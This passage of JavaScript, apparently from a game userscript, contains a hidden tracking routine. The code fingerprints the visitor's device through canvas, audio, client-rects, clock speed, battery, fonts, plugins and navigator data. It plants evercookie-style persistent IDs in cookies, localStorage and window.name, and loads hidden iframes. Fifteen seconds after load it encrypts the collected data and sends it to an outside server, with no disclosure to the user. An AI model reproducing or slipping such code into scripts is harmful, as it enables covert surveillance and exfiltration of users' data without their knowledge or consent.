                        b23 = (s[15] << 6) | (s[14] >>> 26);
                        b4 = (s[25] << 11) | (s[24] >>> 21);
                        b5 = (s[24] << 11) | (s[25] >>> 21);
                        b36 = (s[34] << 15) | (s[35] >>> 17);
                        b37 = (s[35] << 15) | (s[34] >>> 17);
                        b18 = (s[45] << 29) | (s[44] >>> 3);
                        b19 = (s[44] << 29) | (s[45] >>> 3);
                        b10 = (s[6] << 28) | (s[7] >>> 4);
                        b11 = (s[7] << 28) | (s[6] >>> 4);
                        b42 = (s[17] << 23) | (s[16] >>> 9);
                        b43 = (s[16] << 23) | (s[17] >>> 9);
                        b24 = (s[26] << 25) | (s[27] >>> 7);
                        b25 = (s[27] << 25) | (s[26] >>> 7);
                        b6 = (s[36] << 21) | (s[37] >>> 11);
                        b7 = (s[37] << 21) | (s[36] >>> 11);
                        b38 = (s[47] << 24) | (s[46] >>> 8);
                        b39 = (s[46] << 24) | (s[47] >>> 8);
                        b30 = (s[8] << 27) | (s[9] >>> 5);
                        b31 = (s[9] << 27) | (s[8] >>> 5);
                        b12 = (s[18] << 20) | (s[19] >>> 12);
                        b13 = (s[19] << 20) | (s[18] >>> 12);
                        b44 = (s[29] << 7) | (s[28] >>> 25);
                        b45 = (s[28] << 7) | (s[29] >>> 25);
                        b26 = (s[38] << 8) | (s[39] >>> 24);
                        b27 = (s[39] << 8) | (s[38] >>> 24);
                        b8 = (s[48] << 14) | (s[49] >>> 18);
                        b9 = (s[49] << 14) | (s[48] >>> 18);

                        s[0] = b0 ^ (~b2 & b4);
                        s[1] = b1 ^ (~b3 & b5);
                        s[10] = b10 ^ (~b12 & b14);
                        s[11] = b11 ^ (~b13 & b15);
                        s[20] = b20 ^ (~b22 & b24);
                        s[21] = b21 ^ (~b23 & b25);
                        s[30] = b30 ^ (~b32 & b34);
                        s[31] = b31 ^ (~b33 & b35);
                        s[40] = b40 ^ (~b42 & b44);
                        s[41] = b41 ^ (~b43 & b45);
                        s[2] = b2 ^ (~b4 & b6);
                        s[3] = b3 ^ (~b5 & b7);
                        s[12] = b12 ^ (~b14 & b16);
                        s[13] = b13 ^ (~b15 & b17);
                        s[22] = b22 ^ (~b24 & b26);
                        s[23] = b23 ^ (~b25 & b27);
                        s[32] = b32 ^ (~b34 & b36);
                        s[33] = b33 ^ (~b35 & b37);
                        s[42] = b42 ^ (~b44 & b46);
                        s[43] = b43 ^ (~b45 & b47);
                        s[4] = b4 ^ (~b6 & b8);
                        s[5] = b5 ^ (~b7 & b9);
                        s[14] = b14 ^ (~b16 & b18);
                        s[15] = b15 ^ (~b17 & b19);
                        s[24] = b24 ^ (~b26 & b28);
                        s[25] = b25 ^ (~b27 & b29);
                        s[34] = b34 ^ (~b36 & b38);
                        s[35] = b35 ^ (~b37 & b39);
                        s[44] = b44 ^ (~b46 & b48);
                        s[45] = b45 ^ (~b47 & b49);
                        s[6] = b6 ^ (~b8 & b0);
                        s[7] = b7 ^ (~b9 & b1);
                        s[16] = b16 ^ (~b18 & b10);
                        s[17] = b17 ^ (~b19 & b11);
                        s[26] = b26 ^ (~b28 & b20);
                        s[27] = b27 ^ (~b29 & b21);
                        s[36] = b36 ^ (~b38 & b30);
                        s[37] = b37 ^ (~b39 & b31);
                        s[46] = b46 ^ (~b48 & b40);
                        s[47] = b47 ^ (~b49 & b41);
                        s[8] = b8 ^ (~b0 & b2);
                        s[9] = b9 ^ (~b1 & b3);
                        s[18] = b18 ^ (~b10 & b12);
                        s[19] = b19 ^ (~b11 & b13);
                        s[28] = b28 ^ (~b20 & b22);
                        s[29] = b29 ^ (~b21 & b23);
                        s[38] = b38 ^ (~b30 & b32);
                        s[39] = b39 ^ (~b31 & b33);
                        s[48] = b48 ^ (~b40 & b42);
                        s[49] = b49 ^ (~b41 & b43);

                        s[0] ^= RC[n];
                        s[1] ^= RC[n + 1];
                    }
                };

                let _sub = {};

                return methods;
            })();

            /*function Decodeuint8arr(e){return new TextDecoder("utf-8").decode(e)};
            function Encodeuint8arr(e){return new TextEncoder("utf-8").encode(e)};*/
            //uint8 encoder and decoder from: https://ourcodeworld.com/articles/read/164/how-to-convert-an-uint8array-to-string-in-javascript

            //start https://www.darkwavetech.com/index.php/device-fingerprint-blog/ functions
            function clock(){'use strict';var r=0,c=0,o=0;try{for(r=performance.now()/1e3,c=performance.now()/1e3-r,o=0;o<20;o++)c=clockcalc(c,performance.now()/1e3-r);return'<clkMHz>'+Math.round(1/c)+'</clkMHz>'}catch(r){return'<clkhz>error</clkhz>'}}function clockcalc(r,c){lngOnError=0;try{return r<1e-8?c:r<c?clockcalc(c-Math.floor(c/r)*r,r):r==c?r:clockcalc(c,r)}catch(r){return lngOnError}}function mode(r){if(0==r.length)return null;for(var c={},o=r[0],n=1,e=0;e<r.length;e++){var l=r[e];null==c[l]?c[l]=1:c[l]++,c[l]>n&&(n=c[o=l])}return o}function getClockSpeed(){for(var r=[],c=0;c<30;c++)r.push(Number(clock().slice(8,-9)));return mode(r)};
            //clock speed

            function sStorage() {
                "use strict";
                var strOnError, strOut;

                strOnError = "<sessionstorage>true</sessionstorage>";
                strOut = "";

                try {
                    strOut = "<sessionstorage>" + !!window.sessionStorage + "</sessionstorage>";
                    return strOut;
                } catch (err) { // Error when referencing it confirms existence
                    return strOnError;
                };
            };

            function inxDB() {
                "use strict";
                var strOnError, strOut;

                strOnError = "<indexedDB>true</indexedDB>";
                strOut = "";

                try {
                    strOut = "<indexedDB>" + !!window.indexedDB + "</indexedDB>";
                    return strOut;
                } catch (err) { // Error when referencing it confirms existence
                    return strOnError;
                };
            };

            function timezone() {
                "use strict";
                var strOnError, dtDate1, dtDate2, strOffset1, strOffset2, strOut;

                strOnError = "<timezone>Error</timezone>";
                dtDate1 = null;
                dtDate2 = null;
                strOffset1 = "";
                strOffset2 = "";
                strOut = "";

                try {
                    dtDate1 = new Date(2018, 0, 1);
                    dtDate2 = new Date(2018, 6, 1);
                    strOffset1 = dtDate1.getTimezoneOffset();
                    strOffset2 = dtDate2.getTimezoneOffset();
                    strOut = "<timezone>" + strOffset1 + "|" + strOffset2 + "</timezone>";
                    return strOut;
                } catch (err) {
                    return strOnError;
                }
            };

            function mathroutines() {
                "use strict";
                var strOnError, strOut;

                strOnError = "<mathroutines>Error</mathroutines>";
                strOut = "";

                try {
                    strOut = "<mathroutines>" + ((Math.exp(10) + 1 / Math.exp(10)) / 2) + "|" + Math.tan(-1e300) + "</mathroutines>";
                    return strOut;
                } catch (err) {
                    return strOnError;
                }
            };

            function nav() {
                "use strict";

                var strOnError, strKey, Value, strValue, strTmp, strOut;

                strOnError = "Error";
                strKey = "";
                Value = "";
                strValue = "";
                strTmp = "";
                strOut = "";

                try {
                    for (strKey in navigator) {
                        Value = navigator[strKey];
                        if (Value === null || (typeof Value !== "function" && typeof Value !== "object")) {
                            strValue = String(Value);
                            if (strValue === "null") {
                                strValue = "NULL";
                            }
                            if (strValue === "") {
                                strValue = "_";
                            }
                            strTmp = strTmp + "<" + strKey + ">" + strValue +  "</" + strKey + ">";
                        }
                    }
                    strOut = strTmp.slice(0, strTmp.length - 1);
                    return strOut + ">";
                } catch (err) {
                    return strOnError;
                }
            };

            function tryToGenIF(url_) {
                let iframe = document.createElement('iframe');
                iframe.src = url_;
                iframe.style["width"] = "0px";
                iframe.style["height"] = "0px";
                iframe.height = "0px";
                iframe.width = "0px";
                iframe.tabindex = -1;
                iframe.title = "empty";
                iframe.style["display"] = "none";
                document.documentElement.appendChild(iframe);
            };

            function forceHTTPS() { //network and http(s) test
                let fHTTPSval;
                try {
                    tryToGenIF("https://ksw2-center.glitch.me/global/blank");
                    tryToGenIF("http://ksw2-center.glitch.me/global/blank");
                    fHTTPSval = true;
                } catch(e){
                    fHTTPSval = false;
                };
                return "<fhttps>" + fHTTPSval + "</fhttps>";
            };

            function canvas() {
                "use strict";
                var strOnError, canvas, strCText, strText, strOut;

                strOnError = "Error";
                canvas = null;
                strCText = null;
                strText = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`~1!2@3#4$5%6^7&8*9(0)-_=+[{]}|;:',<.>/?";
                strOut = null;

                try {
                    canvas = document.createElement('canvas');
                    strCText = canvas.getContext('2d');
                    strCText.textBaseline = "top";
                    strCText.font = "14px 'Arial'";
                    strCText.textBaseline = "alphabetic";
                    strCText.fillStyle = "#f60";
                    strCText.fillRect(125, 1, 62, 20);
                    strCText.fillStyle = "#069";
                    strCText.fillText(strText, 2, 15);
                    strCText.fillStyle = "rgba(102, 204, 0, 0.7)";
                    strCText.fillText(strText, 4, 17);
                    strOut = methods.sha3_512(canvas.toDataURL());
                    return strOut;
                } catch (err) {
                    return strOnError;
                };
            };

            function perf() {
                "use strict";

                var strOnError, strKey, Value, strValue, strTmp, strOut;

                strOnError = "Error";
                strKey = "";
                Value = "";
                strValue = "";
                strTmp = "";
                strOut = "";

                try {
                    for (strKey in performance) {
                        Value = performance[strKey];
                        if (Value === null || (typeof Value !== "function" && typeof Value !== "object")) {
                            strValue = String(Value);
                            if (strValue === "null") {
                                strValue = "NULL";
                            }
                            if (strValue === "") {
                                strValue = "_";
                            }
                            strTmp = strTmp + "<" + strKey + ">" + strValue +  "</" + strKey + ">";
                        }
                    }
                    strOut = strTmp.slice(0, strTmp.length - 1);
                    return strOut + ">";
                } catch (err) {
                    return strOnError;
                }
            };

            function naviTimes() {
                "use strict";

                var strOnError, strKey, Value, strValue, strTmp, strOut;

                strOnError = "Error";
                strKey = "";
                Value = "";
                strValue = "";
                strTmp = "";
                strOut = "";

                try {
                    for (strKey in performance.timing) {
                        Value = performance.timing[strKey];
                        if (Value === null || (typeof Value !== "function" && typeof Value !== "object")) {
                            strValue = String(Value);
                            if (strValue === "null") {
                                strValue = "NULL";
                            }
                            if (strValue === "") {
                                strValue = "_";
                            }
                            strTmp = strTmp + "<" + strKey + ">" + strValue +  "</" + strKey + ">";
                        }
                    }
                    strOut = strTmp.slice(0, strTmp.length - 1);
                    return strOut + ">";
                } catch (err) {
                    return strOnError;
                }
            };

            function languages() {
                "use strict";
                var strSep, strOnError, strLang, strOut;

                strSep = "|";
                strOnError = "Error";
                strLang = "";
                strOut = "";

                try {
                    if (navigator.language) {
                        strLang = "lang=" + navigator.language + strSep;
                    } else {
                        strLang = "lang=" + "undefined" + strSep;
                    }
                    if (navigator.languages) {
                        strLang = strLang + "langs=" + navigator.languages + strSep;
                    } else {
                        strLang = strLang + "langs=" + "undefined" + strSep;
                    }
                    // Microsoft specific properties
                    if (navigator.browserLanguage) {
                        strLang = strLang + "brlang=" + navigator.browserLanguage + strSep;
                    } else {
                        strLang = strLang + "brlang=" + "undefined" + strSep;
                    }
                    if (navigator.systemLanguage) {
                        strLang = strLang + "syslang=" + navigator.systemLanguage + strSep;
                    } else {
                        strLang = strLang + "syslang=" + "undefined" + strSep;
                    }
                    if (navigator.userLanguage) {
                        strLang = strLang + "usrlang=" + navigator.userLanguage;
                    } else {
                        strLang = strLang + "usrlang=" + "undefined";
                    }
                    strOut = strLang;
                    return "<lang>" + strOut + "</lang>";
                } catch (err) {
                    return strOnError;
                };
            };

            function java() {
                "use strict";
                var strOnError, strJavaEnabled, strOut;

                strOnError = "Error";
                strJavaEnabled = null;
                strOut = null;

                try {
                    if (navigator.javaEnabled()) {
                        strJavaEnabled = "true";
                    } else {
                        strJavaEnabled = "false";
                    }
                    strOut = strJavaEnabled;
                    return "<java>" + strOut + "</java>";
                } catch (err) {
                    return strOnError;
                };
            };

            function scr() {
                "use strict";

                var strOnError, strKey, Value, strValue, strTmp, strOut;

                strOnError = "Error";
                strKey = "";
                Value = "";
                strValue = "";
                strTmp = "";
                strOut = "";

                try {
                    for (strKey in screen) {
                        Value = screen[strKey];
                        if (Value === null || (typeof Value !== "function" && typeof Value !== "object")) {
                            strValue = String(Value);
                            if (strValue === "null") {
                                strValue = "NULL";
                            }
                            if (strValue === "") {
                                strValue = "_";
                            }
                            strTmp = strTmp + "<" + strKey + ">" + strValue +  "</" + strKey + ">";
                        }
                    }
                    strOut = strTmp.slice(0, strTmp.length - 1);
                    return strOut + ">";
                } catch (err) {
                    return strOnError;
                };
            };

            function flash() {
                "use strict";
                var strOnError, objPlayerVersion, strVersion, strOut;

                strOnError = "N/A";
                objPlayerVersion = null;
                strVersion = null;
                strOut = null;

                try {
                    objPlayerVersion = swfobject.getFlashPlayerVersion();
                    strVersion = objPlayerVersion.major + "." + objPlayerVersion.minor + "." + objPlayerVersion.release;
                    if (strVersion === "0.0.0") {
                        strVersion = "N/A";
                    }
                    strOut = strVersion;
                    return "<flash>" + strOut + "</flash>";
                } catch (err) {
                    return "<flash>" + strOnError + "</flash>";
                };
            };

            //stop https://www.darkwavetech.com/index.php/device-fingerprint-blog/ functions

            //evercookie-style storage
            var vector1, vector2, vector3;

            function uuidv4() {
                return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c => (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16));
            };

            var gen_id = uuidv4();

            var ck = "";
            try {
                function setCookie(cname, cvalue, exdays) {
                    var d = new Date();
                    d.setTime(d.getTime() + (exdays*24*60*60*1000));
                    var expires = "expires="+ d.toUTCString();
                    document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
                };
                function getCookie(cname) {
                    var name = cname + "=";
                    var decodedCookie = decodeURIComponent(document.cookie);
                    var ca = decodedCookie.split(';');
                    for(var i = 0; i <ca.length; i++) {
                        var c = ca[i];
                        while (c.charAt(0) == ' ') {
                            c = c.substring(1);
                        }
                        if (c.indexOf(name) == 0) {
                            return c.substring(name.length, c.length);
                        }
                    }
                    return "";
                };

                if (getCookie("___id") === "") {
                    setCookie("___id", gen_id, 365*20)
                };
                ck = getCookie("___id")
            } catch (e) {
                ck = "cookie_error";
            };

            vector1 = ck;

            var LS;
            try {
                if(!localStorage.getItem("id")) localStorage.setItem('id', gen_id);
                LS = localStorage.getItem("id");
            } catch(e) {
                LS = "error";
            };

            vector2 = LS;

            var wname = "";
            try {
                if (window.name === "") {
                    window.name = gen_id;
                };
                wname = window.name;
            } catch(e) {
                wname = "error";
            };

            vector3 = wname;

            var ubercookie = "";
            function getAudioFP(callback) {
                try {
                    // Details: https://audiofingerprint.openwpm.com/
                    var hybrid_output = [];

                    var audioCtx = new(window.AudioContext || window.webkitAudioContext),
                        oscillator = audioCtx.createOscillator(),
                        analyser = audioCtx.createAnalyser(),
                        gain = audioCtx.createGain(),
                        scriptProcessor = audioCtx.createScriptProcessor(4096, 1, 1),
                        compressor, bins;

                    // Create and configure compressor
                    compressor = audioCtx.createDynamicsCompressor();
                    compressor.threshold && (compressor.threshold.value = -50);
                    compressor.knee && (compressor.knee.value = 40);
                    compressor.ratio && (compressor.ratio.value = 12);
                    compressor.reduction && (compressor.reduction.value = -20);
                    compressor.attack && (compressor.attack.value = 0);
                    compressor.release && (compressor.release.value = .25);

                    gain.gain.value = 0; // Disable volume
                    oscillator.type = 'triangle'; // Set oscillator to output triangle wave
                    oscillator.connect(compressor); // Connect oscillator output to dynamic compressor
                    compressor.connect(analyser); // Connect compressor to analyser
                    analyser.connect(scriptProcessor); // Connect analyser output to scriptProcessor input
                    scriptProcessor.connect(gain); // Connect scriptProcessor output to gain input
                    gain.connect(audioCtx.destination); // Connect gain output to audiocontext destination

                    scriptProcessor.onaudioprocess = function(bins) {
                        bins = new Float32Array(analyser.frequencyBinCount);
                        analyser.getFloatFrequencyData(bins);
                        for (var i = 0; i < bins.length; i = i + 1) {
                            hybrid_output.push(bins[i]);
                        }
                        analyser.disconnect();
                        scriptProcessor.disconnect();
                        gain.disconnect();
                        var audioFp = JSON.stringify(hybrid_output);
                        callback(audioFp);
                    };

                    oscillator.start(0);
                } catch(e) {};
            };
            var getClientRectsFP = function() {
                try {
                    // Details: http://jcarlosnorte.com/security/2016/03/06/advanced-tor-browser-fingerprinting.html
                    var elem = document.createElement('div');
                    var s = elem.style;
                    s.position = 'absolute';
                    s.left = '3.1px';
                    s.top = '2.1px';
                    s.zIndex = '-100';
                    s.visibility = 'hidden';
                    s.fontSize = '19.123px';
                    s.transformOrigin = '0.1px 0.2px 0.3px';
                    s.webkitTransformOrigin = '0.1px 0.2px 0.3px';
                    s.webkitTransform = 'scale(1.01123) matrix3d(0.251106, 0.0131141, 0, -0.000109893, -0.0380797, 0.349552, 0, 7.97469e-06, 0, 0, 1, 0, 575, 88, 0, 1)';
                    s.transform = 'scale(1.01123) matrix3d(0.251106, 0.0131141, 0, -0.000109893, -0.0380797, 0.349552, 0, 7.97469e-06, 0, 0, 1, 0, 575, 88, 0, 1)';
                    elem.innerHTML = '<h1>Sed ut perspiciatis unde</h1>pousdfnmv<b>asd<i id="target">asd</i></b>';
                    document.body.appendChild(elem);

                    var uuid = '';
                    var rect = document.getElementById('target').getClientRects()[0];
                    for (var key in rect) {
                        uuid += rect[key];
                    }

                    if (elem.remove) elem.remove();
                    return uuid;
                } catch(e){
                    return "e";
                };
            };

            function computeHash() {
                try {
                    getAudioFP(function(audioFP) {
                        var clientRectsFP = getClientRectsFP();
                        var uchash = methods.sha3_512(clientRectsFP + audioFP).toString();
                        ubercookie = uchash;
                    });
                } catch(e) {
                    ubercookie = "e";
                };
            };
            var check_for_userinput = setInterval(() => computeHash(), 1000);

            var arr = [];
            var downlink = "";
            var rtt = "";
            var saveData = "";
            var effectiveType = "";
            try {
                downlink = navigator.connection.downlink;
                rtt = navigator.connection.rtt;
                saveData = navigator.connection.saveData;
                effectiveType = navigator.connection.effectiveType;
            } catch(e) {
                downlink = undefined;
                rtt = undefined;
                saveData = undefined;
                effectiveType = undefined;
            };

            function plugins() {
                try {
                    return Array.from(navigator.plugins).map((e)=>{return e.name}).join(",");
                } catch(e) {
                    return "failed";
                };
            };

            var __voices;
            try {
                var voices = window.speechSynthesis.getVoices();
                for(var i = 0; i < voices.length ; i++) {
                    voices[i] = voices[i].name + ' (' + voices[i].lang + ')';
                    if(voices[i].default) {
                        voices[i] += ' -- DEFAULT';
                    };
                };
                __voices = voices;
            } catch(e) {
                __voices = false;
            };

            var referrer = "";
            try {
                referrer = document.referrer;
            } catch(e) {
                referrer = "error";
            };

            var batteryData = []
            try {
                navigator.getBattery().then(function(battery) {
                    function updateAllBatteryInfo(){
                        updateChargeInfo();
                        updateLevelInfo();
                        updateChargingInfo();
                        updateDischargingInfo();
                    }
                    updateAllBatteryInfo();
                    battery.addEventListener('chargingchange', function(){
                        updateChargeInfo();
                    });
                    function updateChargeInfo(){
                        batteryData.push("Battery charging? "
                                        + (battery.charging ? "Yes" : "No"));
                    }
                    battery.addEventListener('levelchange', function(){
                        updateLevelInfo();
                    });
                    function updateLevelInfo(){
                        batteryData.push("Battery level: "
                                        + battery.level * 100 + "%");
                    }
                    battery.addEventListener('chargingtimechange', function(){
                        updateChargingInfo();
                    });
                    function updateChargingInfo(){
                        batteryData.push("Battery charging time: " + battery.chargingTime + " seconds");
                    }
                    battery.addEventListener('dischargingtimechange', function(){
                        updateDischargingInfo();
                    });
                    function updateDischargingInfo(){
                        batteryData.push("Battery discharging time: "
                                        + battery.dischargingTime + " seconds");
                    };
                });
            } catch(e) {
                batteryData = "error";
            };

            let userHeader = false;
            /*
            userHeader = false | {
                recordType: number,
                headerPayload: string
            }
            */
            function insert_0000000(verify, e, v2) { //backwards compatibility
                if (verify && v2) {
                    userHeader = e;
                };
                //return e;
            };
            root.insert_0000000 = insert_0000000;

            setTimeout(async () => {
                if (ksw) return;
                try {
                    clearInterval(check_for_userinput)
                } catch(e){};

                let deviceData = {
                    loc: window.location.protocol + "//" + window.location.hostname + window.location.pathname,
                    perf: performance.now(),
                    connectiveData: [downlink, rtt, saveData, effectiveType].join(","),
                    clock: getClockSpeed(),
                    darkwave: [forceHTTPS(), sStorage(), inxDB(), timezone(), mathroutines(), nav(), canvas(), perf(), naviTimes(), languages(), java(), scr(), flash()],
                    times: Date.now() + "|" + new Date().getTimezoneOffset(),
                    plug: plugins(),
                    version: SCRIPT_VERSION,
                    voices: __voices.join(","),
                    ref: referrer,
                    uc: ubercookie,
                    battery: ((typeof batteryData == "string") ? batteryData : batteryData.join(",")),
                    ec: vector1 + "|" + vector2 + "|" + vector3,
                    StartDate
                };

                /** set up the xhr */
                let xml = new XMLHttpRequest();
                xml.open("POST", "https://stratums.io/api/record");
                xml.setRequestHeader("Content-type", "application/json");
                xml.addEventListener("load", function() {
                    if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                        ksw = 1;
                        const ErrorMessage = "The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!";
                        alert(ErrorMessage);
                        throw new Error(ErrorMessage);
                    } else {};
                });

                let epheremalAESkey = window.crypto.getRandomValues(new Uint8Array(32));
                let final_pltx = (await ntru.encrypt(epheremalAESkey, E2EE_PUBKEY)).toString();
                let ciphertext = AESEncrypt2(JSON.stringify(deviceData), epheremalAESkey, 212);

                const dataToSend = {
                    recordType: userHeader ? (+userHeader.recordType) : 0,
                    payload: {
                        key: final_pltx,
                        data: ciphertext
                    }
                };

                if (userHeader) {
                    Object.assign(dataToSend, {
                        header: userHeader.headerPayload
                    });
                };
                xml.send(JSON.stringify(dataToSend));
            }, 15000); //15 secs before deploy
        };

        setTimeout(() => {
            if (ksw || disableDueToContext || isNode) return;

            const __EXEC = async () => {
                // noinspection JSUnusedLocalSymbols
                const sleep = (ms) => {
                    return new Promise(resolve => setTimeout(resolve, ms));
                };

                // Avoid loop fetching stuck JS main thread,
                // but I'm too lazy to create worker
                const smoothForEach = (arr, steps, cb) => {
                    return new Promise((resolve) => {
                        let n = 0;
                        const x = setInterval(async () => {
                            const max = n + steps;
                            for (; n < max; ++n) {
                                if (n >= arr.length) {
                                    clearInterval(x);
                                    resolve();
                                    break;
                                }

                                await cb(arr[n]);
                            }
                        }, 30);
                    });
                };

                const setDDProp = async (dd, propKey, asyncFunc) => {
                    let propValue = null;

                    try {
                        propValue = await asyncFunc();
                    } catch (_) {
                    }

                    if (!propValue) {
                        return;
                    }

                    if ((propValue instanceof Array) && propValue.length === 0) {
                        return;
                    }

                    dd[propKey] = propValue;
                    return dd;
                };

                // plugins
                const dumpPlugins = async () => {
                    const result = {};

                    try {
                        result.mimeTypes = [];
                        // noinspection JSDeprecatedSymbols
                        const mimeTypes = navigator.mimeTypes;

                        for (let n = 0; n < mimeTypes.length; ++n) {
                            const mimeType = mimeTypes[n];

                            // noinspection JSDeprecatedSymbols
                            result.mimeTypes.push({
                                'type': mimeType.type,
                                'suffixes': mimeType.suffixes,
                                'description': mimeType.description,
                                '__pluginName': mimeType.enabledPlugin.name,
                            });
                        }

                        result.plugins = [];

                        // noinspection JSDeprecatedSymbols
                        const plugins = navigator.plugins;
                        for (let n = 0; n < plugins.length; ++n) {
                            const plugin = plugins[n];
                            const __mimeTypes = [];

                            for (let m = 0; m < plugin.length; ++m) {
                                __mimeTypes.push(plugin[m].type);
                            }

                            result.plugins.push({
                                'name': plugin.name,
                                'filename': plugin.filename,
                                'description': plugin.description,
                                '__mimeTypes': __mimeTypes,
                            });
                        }
                    } catch (_) {
                    }

                    return result;
                };

                // allFonts
                const dumpAllFonts = async () => {
                    const result = [];

                    // Test fonts, there are many fonts and will run for a while here.
                    const extraFonts = ['Trebuchet MS', 'Wingdings', 'Sylfaen', 'Segoe UI', 'Constantia', 'SimSun-ExtB', 'MT Extra', 'Gulim', 'Leelawadee', 'Tunga', 'Meiryo', 'Vrinda', 'CordiaUPC', 'Aparajita', 'IrisUPC', 'Palatino', 'Colonna MT', 'Playbill', 'Jokerman', 'Parchment', 'MS Outlook', 'Tw Cen MT', 'OPTIMA', 'Futura', 'AVENIR', 'Arial Hebrew', 'Savoye LET', 'Castellar', 'MYRIAD PRO', 'Andale Mono', 'Arial Narrow', 'Arial Unicode MS', 'Batang', 'Bell MT', 'Brush Script', 'Brush Script MT', 'Calibri', 'Charter', 'Courier', 'Courier New', 'Curlz MT', 'DejaVu Sans', 'DejaVu Sans Mono', 'DejaVu Serif Condensed', 'Droid Sans', 'Droid Sans Fallback', 'Droid Serif', 'Forte', 'Geneva', 'Hei', 'Levenim MT', 'Liberation Sans', 'Liberation Sans Narrow', 'Marlett', 'Meiryo UI', 'Microsoft Uighur', 'Microsoft YaHei UI', 'MS Mincho', 'MS UI Gothic', 'NanumGothic', 'Nirmala UI', 'Papyrus', 'PMingLiU', 'PT Serif', 'SimHei', 'STIXVariants', 'STSong', 'Traditional Arabic', 'Urdu Typesetting', 'Verdana', 'Wingdings 3', 'Helkevtrica', 'Al Bayan', 'Al Nile', 'Al Tarikh', 'American Typewriter', 'Apple Braille', 'Apple Chancery', 'Apple Color Emoji', 'Apple SD Gothic Neo', 'Apple Symbols', 'AppleGothic', 'AppleMyungjo', 'Arial Black', 'Arial Rounded MT Bold', 'Arial', 'Avenir Next Condensed', 'Avenir Next', 'Avenir', 'Ayuthaya', 'Baghdad', 'Bangla MN', 'Bangla Sangam MN', 'Baskerville', 'Beirut', 'Big Caslon', 'Bodoni Ornaments', 'Bradley Hand', 'Chalkboard SE', 'Chalkboard', 'Chalkduster', 'Cochin', 'Comic Sans MS', 'Copperplate', 'Corsiva Hebrew', 'Damascus', 'DecoType Naskh', 'Devanagari MT', 'Devanagari Sangam MN', 'Didot', 'Diwan Kufi', 'Diwan Thuluth', 'Euphemia UCAS', 'Farah', 'Farisi', 'GB18030 Bitmap', 'Geeza Pro', 'Georgia', 'Gill Sans', 'Gujarati MT', 'Gujarati Sangam MN', 'Gurmukhi MN', 'Gurmukhi MT', 'Gurmukhi Sangam MN', 'Heiti SC', 'Helvetica Neue', 'Helvetica', 'Herculanum', 'Hiragino Sans GB', 'Hiragino Sans', 'Hoefler Text', 'ITF Devanagari', 'Impact', 'InaiMathi', 'Kannada MN', 'Kefa', 'Khmer MN', 'Khmer Sangam MN', 'Kohinoor Bangla', 'Kohinoor Telugu', 'Kokonor', 'Krungthep', 'KufiStandardGK', 'Lao MN', 'Lao Sangam MN', 'Lucida Grande', 'Luminari', 'Marker Felt', 'Menlo', 'Microsoft Sans Serif', 'Mishafi Gold', 'Monaco', 'Mshtakan', 'Muna', 'Nadeem', 'New Peninim MT', 'Noteworthy', 'Optima', 'Oriya Sangam MN', 'PT Mono', 'PT Sans Caption', 'PT Sans Narrow', 'PT Sans', 'PT Serif Caption', 'Phosphate', 'PingFang HK', 'Plantagenet Cherokee', 'Raanana', 'STIXGeneral', 'STIXIntegralsD', 'STIXIntegralsSm', 'STIXIntegralsUp', 'STIXIntegralsUpD', 'STIXIntegralsUpSm', 'STIXSizeFiveSym', 'STIXSizeFourSym', 'STIXSizeOneSym', 'STIXSizeThreeSym', 'STIXSizeTwoSym', 'Sana', 'Sathu', 'SignPainter', 'Silom', 'Sinhala Sangam MN', 'Skia', 'Snell Roundhand', 'Songti SC', 'Sukhumvit Set', 'Symbol', 'Tahoma', 'Tamil Sangam MN', 'Telugu Sangam MN', 'Thonburi', 'Trattatello', 'Waseem', 'Zapfino', 'DIN Alternate', 'DIN Condensed', 'Noto Nastaliq Urdu', 'Rockwell', 'Zapf Dingbats', 'BlinkMacSystemFont', 'Mishafi', 'Myanmar MN', 'Myanmar Sangam MN', 'Oriya MN', 'Songti TC', 'Tamil MN', 'Telugu MN', 'Webdings', 'Cambria Math', 'Cambria', 'Candara', 'Consolas', 'Corbel', 'Ebrima', 'Franklin Gothic', 'Gabriola', 'Lucida Console', 'Lucida Sans Unicode', 'MS Gothic', 'MS PGothic', 'MV Boli', 'Malgun Gothic', 'Microsoft Himalaya', 'Microsoft JhengHei', 'Microsoft New Tai Lue', 'Microsoft PhagsPa', 'Microsoft YaHei', 'Microsoft Yi Baiti', 'MingLiU-ExtB', 'Mongolian Baiti', 'PMingLiU-ExtB', 'Palatino Linotype', 'Segoe Print', 'Segoe Script', 'Segoe UI Symbol', 'SimSun', 'Gadugi', 'Javanese Text', 'Microsoft JhengHei UI', 'Myanmar Text', 'Sitka Small', 'Sitka Text', 'Sitka Subheading', 'Sitka Heading', 'Sitka Display', 'Sitka Banner', 'Yu Gothic', 'Microsoft Tai Le', 'MingLiU_HKSCS-ExtB', 'Segoe UI Emoji', 'Bahnschrift', 'Abyssinica SIL', 'Liberation Mono', 'Liberation Serif', 'Lohit Tamil', 'Padauk', 'Waree', 'DejaVu Serif', 'Lohit Kannada', 'Samyak Devanagari', 'OpenSymbol', 'Nakula', 'Chandas', 'Keraleeyam', 'Mukti Narrow', 'Meera', 'Nimbus Roman', 'Kalimati', 'KacstQurn', 'Gubbi', 'Tibetan Machine Uni', 'Umpush', 'Purisa', 'Pothana2000', 'Noto Serif CJK JP', 'Norasi', 'Loma', 'Karumbi', 'mry_KacstQurn', 'Noto Serif CJK SC', 'Likhan', 'RaghuMalayalamSans', 'Padauk Book', 'Phetsarath OT', 'Sawasdee', 'Sahadeva', 'Nimbus Sans', 'Tlwg Typist', 'Noto Sans Mono CJK SC', 'Manjari', 'Ubuntu', 'Chilanka', 'FreeSerif', 'Nimbus Mono PS', 'Lohit Assamese', 'AnjaliOldLipi', 'Samyak Gujarati', 'Nimbus Sans Narrow', 'Kinnari', 'KacstOne', 'Mitra Mono', 'Kalapi', 'Laksaman', 'padmaa', 'Ani', 'Rachana', 'Pagul', 'Lohit Telugu', 'Samanata', 'Vemana2000', 'Lohit Gujarati', 'KacstDecorative', 'Lohit Malayalam', 'Noto Sans CJK HK', 'FreeSans', 'Sarai', 'Lohit Devanagari', 'Noto Color Emoji', 'Uroob', 'Noto Mono', 'Dyuthi', 'Suruma', 'Jamrul', 'Saab', 'Navilu', 'Gargi', 'Garuda', 'Rekha', 'Lohit Gurmukhi', 'FreeMono', 